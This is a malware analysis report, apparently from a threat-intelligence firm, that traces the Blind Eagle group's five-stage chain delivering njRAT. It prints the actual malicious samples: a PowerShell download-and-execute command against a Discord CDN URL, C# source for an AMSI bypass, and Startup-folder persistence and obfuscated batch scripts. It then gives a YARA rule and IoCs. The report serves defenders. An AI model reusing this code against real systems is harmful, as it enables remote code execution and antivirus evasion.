APT Blind Eagle's Malware Arsenal

Technical Analysis of the New Attack Chain

@threatmon

@MonThreat
@TMRansomMonitor

ThreatMon

Table of Contents

Introduction

The Blind Eagle APT group is a threat actor group that is believed to be involved in cyber espionage activities. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing. In this report, we will examine Blind Eagle's multi-stage attack chain and provide indicators of compromise (IoCs) that can be used to detect and defend against the group's attacks.

Who Is Blind Eagle?

Blind Eagle (aka APT-C-36) is a suspected South America espionage group that has been active since at least 2018. The group is known for using a variety of sophisticated attack techniques, including custom malware, social engineering tactics, and spear-phishing attacks. They have also been observed using exploits for zero-day vulnerabilities in their attacks.

First Stage: Javascript Downloader

In the first stage, a javascript downloader is used. The code below which is written in Javascript uses ActiveXObject to run PowerShell commands.

```
var GOOGLE = new ActiveXObject("wscript.shell");
GOOGLE.run("powershell.exe -noprofile -executionpolicy bypass iex
((New-Object
Net.WebClient).DownloadString('https://cdn.discordapp.com/attachments/940
3631010674115 27/946390049979781130/cacha.pdf'))",0);

var GOOGLE = new ActiveXObject("wscript.shell");
GOOGLE.run("powershell.exe -noprofile -executionpolicy bypass iex
((New-Object
Net.WebClient).DownloadString('https://cdn.discordapp.com/attachments/940
3631010674115 27/946390049979781130/cacha.pdf'))",0);
```

Additionally, Blind Eagle abuses Discord CDNs to store the next stage script. Powershell command above downloads the "cacha.pdf" named ps1 script from "hxxp://cdn.discordapp[.]com/attachments/940363101067411527/946390049979781130/cacha.pdf" then executes the script.

Second Stage: Powershell Script

We have a Powershell Script with a length of 673.993. Execution starts with loading a DLL into memory from an obfuscated and Base64 encoded string.

```
if($ING -eq 10){
$GOO =
"TVqQ\\M\\\\E\\\\//8\\Lg\\\\\\\\Q\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ\\\\\\\\\BQRQ\\T\ED\JrI
\B\\\\\\\\\G\\\\\\\\\C\\\\\g\\\\\\\M\YIU\\B\\\B\\\\\\
\\G\\\\w\\\\cKw\\O\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\d\w\\\\g\\\\Dg\\\\I\\\\\\\\\\\\\\\\\\\\C\\\G\ucnNyYw\\\E\E
\\\\\\\\\\\\\\\\\Q\\\Qg\\\\\\\\\\\\\\\\\\\\\\\\3L\\\\\\\\Eg\
\\\\\\\\\\\\\\\\\\\\\\\BswB\Cv\\\\\Q\\EQ\\KB\\\\oejRU\\\El
HK\Q\\\YNCX4B\\\EjmlqKBM\\\ofQBIEK\Y\\\YmfgE\\\QWCX4B\\\E
\CigX\\\K\\De\Co\\R\\\\\\\QCDh\\qEQ\\\SICKBk\\\o\KlIXjRU\
\\\\F\Gw\\\\4\w\\I34\\KQD\\CIB\\\I1N0cmluZ3M\\\\\L\g\\CQ\
\\PoBMw\W\\\B\\\\Gw\\\\U\\\\D\\\\Bw\\\\c\\\\Z\\\\Dw\\\\E\
\h\G\\w8\0gM\\\Y\r\E+\wY\MwI+\wY\F\I+\wY\p\I+\wY\c\I+\wY\
\UQE3\wY\5wJZB\Y\2wI3\wY\7\Oy\wY\bwQ3\wY\FgE3\wY\e\M3\wY\
B\\BH\\\\OO\C\\g\EwE\\\o\\\BN\\O\C\\R\OEDYg\z\WY\Zg\z\ac\
```

```
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\"
[Byte[]]$HX=[System.Convert]::FromBase64String($GOO.Replace('\','A'))
[void][System.Reflection.Assembly]::Load([byte[]]($HX))
[pepe]::Bypass()

}
```

This is a DLL file, portable executable, written in .NET.

```
00000000  4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  MZ..........ÿÿ..
00000010  B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ¸.......@.......
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00  ............€...
00000040  0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68  ..º..´.Í!¸.LÍ!Th
00000050  69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F  is program canno
00000060  74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20  t be run in DOS
00000070  6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00  mode....$.......
00000080  50 45 00 00 4C 01 03 00 9A C8 49 C9 00 00 00 00  PE..L...šÈIÉ....
00000090  00 00 00 00 E0 00 22 20 0B 01 30 00 00 0E 00 00  ....à." ..0.....
000000A0  00 08 00 00 00 00 00 00 56 2C 00 00 00 20 00 00  ........V,... ..
000000B0  00 40 00 00 00 00 00 10 00 20 00 00 00 02 00 00  .@....... ......
```

As you see in the pictures above, the Powershell script calls method **Bypass()** from the DLL. This method is simply an AMSI (AntiMalware Scan Interface) bypasser.

```
using System;
using System.Runtime.InteropServices;
using System.Text;
using AmsiFun;

// Token: 0x02000002 RID: 2
public class PEPE
{
    // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
    public static void Bypass()
    {
        try
        {
            string @string = Encoding.ASCII.GetString(new byte[] { 97, 109, 115, 105, 46, 100, 108, 108 });    -> amsi.dll
            string string2 = Encoding.ASCII.GetString(new byte[]
            {
                65, 109, 115, 105, 83, 99, 97, 110, 66, 117,
                102, 102, 101, 114                                          ->AmsiScanBuffer
            });
            IntPtr intPtr = SPIDERMAN.LoadLibrary(@string);
            IntPtr procAddress = SPIDERMAN.GetProcAddress(intPtr, string2);
            uint num;
            SPIDERMAN.VirtualProtect(procAddress, (UIntPtr)((ulong)((long)PEPE.patchBytes.Length)), 64U, out num);
            Marshal.Copy(PEPE.patchBytes, 0, procAddress, PEPE.patchBytes.Length);
            Console.WriteLine("bypass");
        }
        catch (Exception ex)
        {
            Console.WriteLine(" [x] {0}", ex.Message);
            Console.WriteLine(" [x] {0}", ex.InnerException);
        }
    }

    // Token: 0x04000001 RID: 1
    private static byte[] patchBytes = new byte[] { 195 };
}
```

If the bypass is successful, the method outputs the message "bypass" to the console. If there is any exception during the execution, the method catches it and outputs the exception message and its inner exception to the console.

We are back to our Powershell script. It checks the registry for *HKCU:\software\wow6432node\Microsoft\WindowsUpdate* key. If it is not present then it creates the key and sets an obfuscated value without deobfuscating it.

```
$a =  'HKCU:\software\wow6432node\Microsoft\WindowsUpdate'

$vv = Test-Path $a

if ($vv  -eq $false){

function Google($string){
$kong = "PSK]Bd{wn|[DEF]izmd[DEF]w[DEF]><;:vwlmdUqkzw{wn|d_qvlw[DEF]{]xli|m"

$GODZILLA=8
$GODZI = (0..($kong.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($kong[$_].ToString(),0)-$GODZILLA)}) -join ""
New-Item -Path $GODZI  -Value $string
}

$Updates =
"U2FsdGVkX19llPW/jsrEdo5fXraZKDsEnS8D2yp+1IWl2k87lwtvTg3QDdkco46wFhhw9F6XGIQGNT6Hmcl2K6n72hUa7TtyA68zgnySxOQ1gSl09wTLDyn7+Oeqis2
mMWhIBJNmMamQbW/3MzTK6xsuYC+WkfXvnYmumClmgckbmebn0xmVO/mMfiNyl6g/Ky5NDyUeWH1sjgy6pKJG7Bs3U86LDrg2qaMG4/QEoBo3DPCDkb0VETKo57SlWVay
yFf5DiVWDr821TTKC6LWBo9YHaOmLvmvX/CT86/MVJR0JHl1idVHwkCmXJRigRz5NITGVHkFyFSnprSINl6dDt1wFPnFYTsLjP8meILKtDsg9YzbD71IoO25W52PyhhPY
EQxOZcvmvMiyXhx3DB/A00lSn4acz4UnSZL8dTwt07Ol+SklFo7VNX2xAQIG2jqKnxggTz0Gw8nsGO2lwf2ngftKJJ9Puoe7qoWo6E4lKvxLz2Vi+XDrfBlb+DsbUYh/S
4TK8nVdzl2JnZLwkcqUNMBhnQ/R5NXEGpDGhmYIFdfSoITEcZaRFucePu9smH5UC7uyNziAidYVrD+0H31HHAWGjxjcNj15Et+rlDSc2NF2SWwSc6QHscqyahkp1cXC3(
Ej6og0CKkK26kHlBVnD0IAmfXzHlV+RHt5sE3B7zEY4mNDxAZerWHpAXyzM+8Fd+G2sG0u4qkBRXAFNkX6zlNiErwwGPFAz2i4wR08LL00ivCYeV1FAW3YdE8Fz6gfF3
ZvbxwmSdyHZVBB967RU2wtyasdTkWqL5xPOJiHTWfs2HZRMIJvlXcvsHu6D9rjV3nYsKw35i62yK+0J6zY3/7IwQMEnfT717OPmxpPa9zf+tpnNu7T/6rGO68HYT+5JnE
Qs8HMXKNb8Ej6xQ8/qxw6D0yUL7/vKtpNrTxp+AAwkezz1xMT0fh+4oJdKeMpsf4bgcnJoVd9BotxdJx6rpsD8YBSKzMj6xZrSm7u9Q0LyMCQbCXe4F+zJH1N+vNT2xQ
OGOBXJh/jLu/4k/qMzvI/9G6qRE+G+UlleMekMEs8HLY1UNGpkkziiMeVm33MzQlNgODeCLl4Os6Z45+BgX+WYMquD+7pQnYmzE7/n/8/nSZz1f9IW2vYah/WuRXBlcG
```

Then it drops 2 files. First one is a Powershell script named *myScript.ps1* and the second one is a batch file named *SystemLogin.bat*.

```
lcnJpdG9yaW9EaXN0cml0YWxlbnJlYXN1cmJhbmFzeXJ1cmFsZXNtLWFsamdoaXBkZmVqZmR4YXNmICRTTk9STEFYDQoNCg=="
FUNCTION D4FD5C5B9266824C4EEFC83E0C69FD3FAA($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE)
{
  $a = "Fr"+"omBa"+"se6"+"4Str"+"ing"
  $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG = [Text.Encoding]::Utf8.GetString([Convert]::$a($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE))
  return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
}

$Content = D4FD5C5B9266824C4EEFC83E0C69FD3FAA($Base64)
Set-Content -Path $env:PUBLIC\myScript.ps1 -Value $Content

Function MEME() {
    $GOKU = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String(
    'JW9temNyZmIlbSV0eGZsdG5jJXMlY3Bocm1yYSVoJWxycmhzdnUldCV4Z2dvaXd3JWEleW5ucG1paiUgJXZhZHNkeWUldiVyZXJzc3BxJWIlaE
    pJXpnYml5dWslcCV0Z211Zm54JXQlZ2NuaXhuaiU6JXV6ZXRwbnUlRSVhd3V5bXRwJXglcXRnZHVxbyVlJXFrdm9rZHglYyV5dHZyYmltJXUlYn
    iJWxybmJ1aXglQyVic2hhdmZpJXIla2hjbndqdiVlJWtrZ2Fyd2slYSVlZnJ3ZXBtJXQld25zdndrdiVlJXV3YWZ2emYlTyVnYmljemFtJWIlZX
    0JWdmbXF1bmIlKCVyZ3JhcHBpJSIlZXlqdm9waiUiJWp4dmR3eHElVyVxcWRwYWRhJVMlZXpvYW1jZyVjJWZsdXNqb2UlciV4bWtrYWpjJWklaW
    TJWp2YWJ4a3UlaCVweHB4bnJ6JWUlemlicXZ1YyVsJXFuemNmcWwlbCVrZWNlempkJSIlbmR0dHJ0diUiJXpkY2FidXMlKSV3enpuZmtpJS4ldX
    gJW5leHlwZ3IlIiVwaHdnenN1JSIlZHZnaGdxayVwJWdmcXdyYXglbyVudXFwY2d3JXclbHVxcHB2bSVlJXVudHZpemslciVkcGRsb2RlJXMlcC
    sJXpwanNsdWYlICV3c3JscWtmJS0lb2thdXVmaiVFJXdxc2R0a24leCVyZG5udWN1JWUlbGR5emJ2aCVjJXl6eW50dnQldSVseHF4bXZlJXQlcr
    QJXRkaWhrYWklbyVtaGJta3VnJWwlaWNpY21seCVpJXZkaGd5bHQlYyVkb3lncXFoJXklemF5bWdoZCUgJWpvc3poa3IlQiVqc3duY3hmJXklds
    zJXd0d3JveGMlICVseXppaHZ4JSYlZGx6eXRxcCUgJWN0bGZoZXAlJyV5Y3l2cXZsJUMlamVkZm15cyU6JXd3dnpreHUlXCVpZmxxaHlsJVUlaW
    zJWFjdHBndHolXCVraGdzdXdzJVAlZ3llcGVueSV1JWxieXJldnAlYiVhc21mdHRlJWwlaHZiYmp6aiVpJXlxcmRndnklYyVpa2xnYnl2JVwlY2
    jJWluZWliaG0lciVzdGJ4a29kJWklc255YnNidyVwJWJsYXlnZmYldCVlYmpkbHBjJS4lZ2VpbHdhZSVwJWJkeHVyc2clcyV4GNhb2poJTElZr
    sJWhiZXhibnElICVpaWx5ZXlkJTAlZnViYndveiU6JWF5cGJsZ2wlYyV4eHpld3diJWwlb3FkcW1zcCVvJWdobXlybnQlcyVvbmVpcHN4JWUlar
    qcnNoZWtqJSVnemplY2F1JQ==''))

    [System.IO.File]::WriteAllText(([Environment]::GetFolderPath('ApplicationData') + "\SystemLogin.bat"),  $GOKU)
}

MEME
```

Finally, it places a VBScript named *Login1.vbs* in the Startup folder, which will be executed automatically when the system starts. Subsequently, the script is executed.

```
Function MEME44() {
    $var = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String(
    'U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ0KICAgIA0KDQphcHB
    UQSUiKQ0KU2V0IFdzaFNoZWxsID0gQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikNCldzaFNoZWxsLlJ1biB
    zNCksIDANClNldCBXc2hTaGVsbCA9IE5vdGhpbmc='))

    [System.IO.File]::WriteAllText(([Environment]::GetFolderPath(7) + "\Login1.vbs"),  $var)

}

MEME44


$A = [System.Environment]::GetFolderPath(7) + "\Login1.VBS"

start-sleep -s 3
invoke-item $A
```

Third Stage: VBScript Located in the Startup

The VBScript located in the Startup folder executes the SystemLogin.bat which was dropped previously.

```
Set objShell = WScript.CreateObject("WScript.Shell")


appDataLocation=objShell.ExpandEnvironmentStrings("%APPDATA%")
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) &  appDataLocation & "\SystemLogin.bat" & Chr(34), 0
Set WshShell = Nothing
```

Fourth Stage: Obfuscated Batch Script

Deobfuscated form of the batch script below is:

```
 mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run
""powershell -ExecutionPolicy Bypass &
'C:\Users\Public\myScript.ps1'"", 0:close")
```

So it executes the myScript.ps1 which was dropped previously from Powershell script.

```
%omzcrfb%m%txfltnc%s%cphrmra%h%lrrhsvu%t%xggoiww%a%ynnpmij% %vadsdye%v%rersspq%b
%hrxnomv%s%fvghtcv%c%wmopyxz%r%esgzwcd%i%zgbiyuk%p%tgmufnx%t%gcnixnj%:%uzetpnu%E
%awuymtp%x%qtgduqo%e%qkvokdx%c%ytvrbim%u%bfwcosy%t%vkpinlw%e%jurpbkb%(%dgvccdj%"
%lrnbuix%C%bshavfi%r%khcnwjv%e%kkgarwk%a%efrwepm%t%wnsvwkv%e%uwafvzf%O%gbiczam%b
%ewknrpr%j%mqiwwub%e%lontxif%c%elvsvdt%t%gfmqunb%(%rgrappi%"%eyjvopj%"%jxvdwxq%W
%qqdpada%S%ezoamcg%c%flusjoe%r%xmkkajc%i%iehkjlp%p%skuoyoi%t%pbskieo%.%tdmminf%S
%jvabxku%h%pxpxnrz%e%zibqvuc%l%qnzcfql%l%kecezjd%"%ndttrtv%"%zdcabus%)%wzznfki%.
%uptefzc%R%awqtogs%u%aqmxwtm%n%kooujxv% %nexypgr%"%phwgzsu%"%dvghgqk%p%gfqwrax%o
%nuqpcgw%w%luqppvm%e%untvizk%r%dpdlode%s%pdssfeg%h%qkzuiqt%e%nxpxzgp%l%ibdxpya%l
%zpjsluf% %wsrlqkf%-%okauufj%E%wqsdtkn%x%rdnnucu%e%ldyzbvh%c%yzyntvt%u%lxqxmve%t
%rugdicz%i%hrsirzy%o%ihhsglh%n%qrhvxqw%P%tdihkai%o%mhbmkug%l%icicmlx%i%vdhgylt%c
%doygqqh%y%zaymghd% %joszhkr%B%jswncxf%y%vcdbayw%p%oleassf%a%mtmkrip%s%yzuhviw%s
%wtwroxc% %lyzihvx%&%dlzytqp% %ctlfhep%'%ycyvqvl%C%jedfmys%:%wwvzkxu%\%iflqhyl%U%
inouwlk%s%wwafikq%e%xjgwfwo%r%wuaxlky%s%actpgtz%\%khgsuws%P%gyepeny%u%lbyrevp%b%
asmftte%l%hvbbjzj%i%yqrdgvy%c%iklgbyv%\%cbojvrn%m%mljfcur%y%raneycc%S%owlrcts%c%
mneibhm%r%stbxkod%i%snybsbw%p%blaygff%t%ebjdlpc%.%geilwae%p%bdxursg%s%xdcaojh%l%
fsctzoh%'%drculdw%"%mkfaehu%"%vmpqklo%,%hbexbnq% %iilyeyd%0%fubbwoz%:%aypblgl%c
%xxzewwb%l%oqdqmsp%o%ghmyrnt%s%oneipsx%e%jazrrke%"%jlolmxd%)
%pxkrped%%kfgkxwa%%jrshekj%%gzjucau%
```

Fifth Stage: Final Powershell Script leads to NjRAT

First it loads the same AMSIBypasser DLL into memory and calls the same method in the second stage. Then it loads a second DLL which is AES256 Decryptor, it decrypts the contents of the *HKCU:\software\wow6432node\Microsoft\WindowsUpdate* Registry Key which was previously written. The "5456846176463687555" passphrase is used to create the decryption key.

```
sMR4fqnwCsXTjHO5Ed9vMR3FS5mRPzIlbHxa+/TbZ/qFbbtU7NLwgN85phYN4z6hfq9ppDe99/+pZ0dy0+kD88GPnp9Pz/8D
'@
$oVXH = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($ABiKKThKfWHcGmT),[IO.Compression.
CompressionMode]::Decompress)
$xkHpPHSVMgADXtMR = New-Object Byte[](8192)
$oVXH.Read($xkHpPHSVMgADXtMR, 0, 8192) | Out-Null
[System.Threading.Thread]::GetDomain().Load($xkHpPHSVMgADXtMR)

$kong2 = "PSK]Bd{wn|DELizmdDELwDEL><;:vwlmdUqkzw{wn|d_qvlwDEL{]xli|m"

$GODZILLA2=8
$GODZI2 = (0..($kong2.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($kong2[$_].ToString(),0)-$GODZILLA2)}) -
join ""
$value = Get-ItemProperty -Path $GODZI2 -Name "(Default)"
$SNORLAX = [RTUA.SONVEGETA]::RETURNRUMANIA($value."(Default)"),"5456846176463687555")
$r = "comoestorganizadoelconjuntodeobjetosgeogrficosdelterritorioDistritalenreasurbanasyruralesm-aljghipdfejfdxasf"
Set-Alias $r ($r[$true-13] + ($r[[byte]("0x" + "FF") -263]) + $r[[byte]("0x" + "9a") -158])
 comoestorganizadoelconjuntodeobjetosgeogrficosdelterritorioDistritalenreasurbanasyruralesm-aljghipdfejfdxasf $SNORLAX
```

```
using System;
using AesEverywhere;

namespace RTUA
{
    // Token: 0x02000002 RID: 2
    public static class SONVEGETA
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        public static string RETURNRUMANIA(string CODE, string KEY)
        {
            AES256 aes = new AES256();
            return aes.Decrypt(CODE, KEY);
        }
    }
}
```

Decrypted content is a new Powershell script which leads to **njRAT**. **njRAT**, also known as **Bladabindi** is a remote access tool (RAT) with user interface or trojan which allows the holder of the program to control the end-user's computer.

YARA RULE

```
rule Blind_Eagle_Stages
{
    meta:
        author = "seyitsec"
        date = "2023-04-16"
        hash                                                    =
"d10a6df70ccbd813af1614eecf8da1485cbb45889ab6a87b410dee10e98fcfbf"
    strings:
        str1=
"https://cdn.discordapp.com/attachments/940363101067411527/946390049979
781130/cacha.pdf"
        str2= "PSK]Bd{wn|izmdw><;:vwlmdUqkzw{wn|d_qvlw{]xli|m"
        str3=
"comoestorganizadoelconjuntodeobjetosgeogrficosdelterritorioDistritalen
reasurbanasyruralesm-aljghipdfejfdxasf"

    condition:
        any of ($str*)
}
```

Indicators Of Compromise

TYPE	VALUE
SHA256	d10a6df70ccbd813af1614eecf8da1485cbb45889ab6a87b410dee10e98fcfbf
SHA256	e8ba5871d6005a6b63ec510869baab3e2a485e3d63d7526f19a38af0eac834ac
SHA256	93ce9e3b4c9eea7ed5f36512e884fcfb516d1f764b5c28a47542062a6f303bb9
URL	hxxps://cdn.discordapp.com/attachments/940363101067411527/946390049979781130/cacha.pdf
IP	febenvi[.]duckdns.org:2050

MITRE ATT&CK

ATT&CK NAME	ATT&CK ID
Powershell	T1059.001
Scripting	T1064
Startup Folder	T1547.001
Process Injection	T1055
Masquerading	T1036
Sandbox Evasion	T1497
Application Layer Protocol	T1071

45305 Catalina cs St 150, Sterling VA 20166